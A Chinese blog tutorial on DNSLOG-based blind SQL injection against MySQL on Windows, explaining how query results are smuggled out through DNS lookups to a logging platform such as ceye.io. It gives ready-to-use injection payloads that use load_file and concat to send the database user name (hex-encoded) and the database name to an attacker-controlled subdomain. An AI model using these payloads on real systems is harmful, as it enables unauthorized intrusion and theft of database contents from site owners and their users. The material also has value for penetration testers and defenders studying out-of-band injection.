SQL注入-DNSLOG打消你的盲打盲注

Dnslog

Dnslog就是存储在DNS Server上的域名信息,它记录着用户对域名www.test.com、t00ls.com.等的访问信息。

Dnslog盲注

对于SQL盲注,我们可以通过布尔或者时间盲注获取内容,但是整个过程效率低,需要发送很多的请求进行判断,容易触发安全设备的防护,Dnslog盲注可以减少发送的请求,直接回显数据实现注入 使用DnsLog盲注仅限于windos环境。
在这里插入图片描述
其中,红色部分是可控的。我们只需要搭建一个红色部分的DNS服务器,并将要盲打或盲注的回显,放到自己域名的二级甚至三级域名上去请求,就可以通过DNS解析日志来获取到它们。

场景一SQL盲注回显

在数据库中攻击语句被执行,由concat函数将执行结果与XXX.ceye.io\\abc拼接,构成一个
新的域名,而mysql中的select load_file()可以发起请求,那么这一条带有数据库查询结果
的域名就被提交到DNS服务器进行解析,此时,如果我们可以查看DNS服务器上的Dnslog就可以
得到SQL注入结果。那么我们如何获得这条DNS查询记录呢?注意注入语句中的ceye.io,这其实
是一个开放的Dnslog平台(具体用法在官网可见),在http://ceye.io上我们可以获取到有关
ceye.io的DNS查询信息。实际上在域名解析的过程中,是由顶级域名向下逐级解析的,我们构造
的攻击语句也是如此,当它发现域名中存在ceye.io时,它会将这条域名信息转到相应的NS服务
器上,而通过http://ceye.io我们就可以查询到这条DNS解析记录。

注意:loda_file函数在mysql8.0版本之后已经被弃用,同时想要使用此函数数据库的配置文件中此项secure_file_priv=’'配置。

爆数据库用户名:
and load_file(concat("\\\\",hex(user()),".ajma31.ceye.io\\abc"))#  注意:这里因为结果里含有@关键字所以结果需要准换成十六进制编码才能实现。并且这里的.ajma31.ceye.io自己申请的,每个都不同。
爆数据库名:
and load_file(concat("\\\\",database(),".ajma31.ceye.io\\abc"))#


网页后台结果:
在这里插入图片描述
hex转码
在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值